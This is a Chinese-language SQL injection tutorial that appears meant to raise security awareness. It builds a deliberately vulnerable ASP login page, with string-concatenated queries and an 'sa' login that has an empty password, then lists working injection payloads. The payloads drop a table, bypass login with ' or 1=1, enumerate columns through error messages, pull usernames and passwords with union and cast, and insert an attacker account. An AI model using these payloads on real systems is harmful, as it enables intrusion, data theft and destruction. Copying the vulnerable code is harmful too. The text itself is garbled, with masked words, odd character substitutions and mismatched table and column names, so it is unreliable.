***的SQL***演示:
指的是***或惡意用戶在應用程序不知道的狀況下經過應用程序來對SQL 數據庫執行惡意的代碼,一旦***成功,能夠作任何事情,如查看數據表中的信息,刪除數據表的數據,到得到網絡訪問權限等,咱們在使用一些商用應用程序的時候,如一些第三方軟件,會要求咱們在他們的使用界面中輸入一個用戶名和口令,這個用戶名和口令不是數據庫中的用戶名和口令,而是這些商用應用軟件所定義的用戶名和口令,經過這些用戶名和口令來進行相應的操做。這種使用方法能夠進行精細的安全控制。因此當前的應用軟件中大多都使用這種方法。
而咱們這種SQL***會對這種方法進行***。
咱們在這裏介紹的內容,主要是爲了使用你們在之後的工做中增強安全意識
演示過程:
咱們要創建一個表來存放用戶名和口令及訪問級別
create table users (username varchar(10),password varchar(20), access int)
insert into USERS values ('dufei','杜飛',1)
利用DW建一個登陸頁面
詳見文檔:
<body>
<form name="form1" method="post" action="logined.asp">
<table width="75%" border="1">
<tr>
<td colspan="2"><div align="center"><font size="5"><strong>用戶登陸</strong></font></div></td>
</tr>
<tr>
<td height="21">
<div align="right">用戶名:</div></td>
<td><input name="login_nm" type="text" id="login_nm"></td>
</tr>
<tr>
<td><div align="right">口令:</div></td>
<td><input name="login_pw" type="text" id="login_pw"></td>
</tr>
<tr>
<td colspan="2"><div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
</tr>
</table>
</form>
</body> <%
username=request.form("login_nm")
password=request.form("login_pw")
set conn=server.createobject("adodb.connection")
conn.open "uid=sa;pwd=;server=localhost;driver={sql server};database=itet"
sql="select * from logins where USERNAME='"&username &"' and PASSWORD= '"&password &"'"
set rs=conn.execute(sql)
if not rs.eof=true then
response.write("登陸成功,你能夠獲得任何你所須要的數據")
else
response.write("登陸失敗")
end if
%>
******的第一個例子:刪除表
創建一個測試表: create table t1 (name varchar(10)) 一會把它刪除
在用戶名框中輸入:’; drop table t1 –
此時出現一個登陸失敗的提示,但讓咱們來看一下T1表是否還存在!
已經消失在世界的盡頭了!不再會回來了
此時爲何不成功,就是SQL***在起做用:
咱們來分析一下:
從正常登陸:輸入:DUFEI 杜飛 1 到輸入:’; drop table –
分別是:
select * from logins where USERNAME=’u1’ and PASSWORD=’p1’;
select * from logins where USERNAME=’’; drop table t1 -- and PASSWORD=’p1’;
由於空用戶名是錯誤的,因此會報登陸失敗
第二個例子:模仿USERS中的第一個用戶登陸到咱們的系統:
' or (1=1) --
分析:至關於在SQL 查詢分析器中輸入:
select * from logins where USERNAME=’’ or 1=1 -- and PASSWORD=’杜飛’;
經過這個例子能夠看到,SQL ***確實能夠起到進入系統,破壞系統的做用
當***嚐到了甜頭,就會使用更爲危險的手段來***
第三個例子:若是***在文本框中輸入:' having 1=1 --
是沒有成功,要的就是這個效果,沒有成功,但卻獲得了咱們想要的東西,或者是說,能夠從中獲得咱們感興趣的東西:暴露了不少危險的東西,這些是做爲一個***想知道的東西
'USERNAME' 在選擇列表中無效,知道了用戶名口令存放在哪一個表,哪一個字段中。而後能夠猜到USERNAME存放的就是用戶名
那麼知道了這個有什麼用 就能夠進行更爲危險的***
如今***想利用所知道的狀況再進一步想知道這個表中還有什麼字段,以及每一個字段的類型。
此時再輸入:' group by USERS.NAME having 1=1 --
又獲得了一列:'USERS.PASSWORD' 在選擇列表中無效,這時候想都不用想,這裏確定是口令。
再想獲得第三個字段名是什麼:
' group by USERS.USERNAME,USER.PASSWORD having 1=1 --
依次能夠知道第四個,五個。。。。。。。字段
直到不出現錯誤提示,則說明全部字段都獲得了。
下面還想知道每一個字段的類型是什麼類型,爲之後進一步的***作準備
' union select avg(USERS.USERNAME) from USERS--
能以 varchar 數據類型做爲參數
' union select avg(USERS.PASSWORD) from USERS--
求第三個字段ACCESS也是同樣,或者用' and access='f' --
這就獲得了三個字段和每一個字段的類型了。
但更精彩的來了,我想知道每一個字段的具體內容:
' union select cast(logins.login_nm as int),1,2 from logins --
將 varchar 值 'u1' 轉換爲數據類型爲 int 的列時發生語法錯誤 獲得了U1,這是一個用戶名。
這對***是頗有價值的,可是對系統來講是很危險的。
再進一步:他知道了你的數據表中有一個用戶是U1,那麼U1的口令是多少呢
' union select cast(logins.login_pw as int),1,2 from logins -- 別的地方不改,就改一個pw 若有多行,
最好用' union select cast(logins.login_pw as int),1,2 from logins where logins.login_nm='u1'--
便可
到如今爲止,他知道了用戶名口令就能夠了, 那若是再高級一點,他能夠不用你的用戶名口令,我能夠直接向你的表中寫一個用戶名口令,用本身的。 ';insert into logins values ('dufei','dufei',1) -- 測試: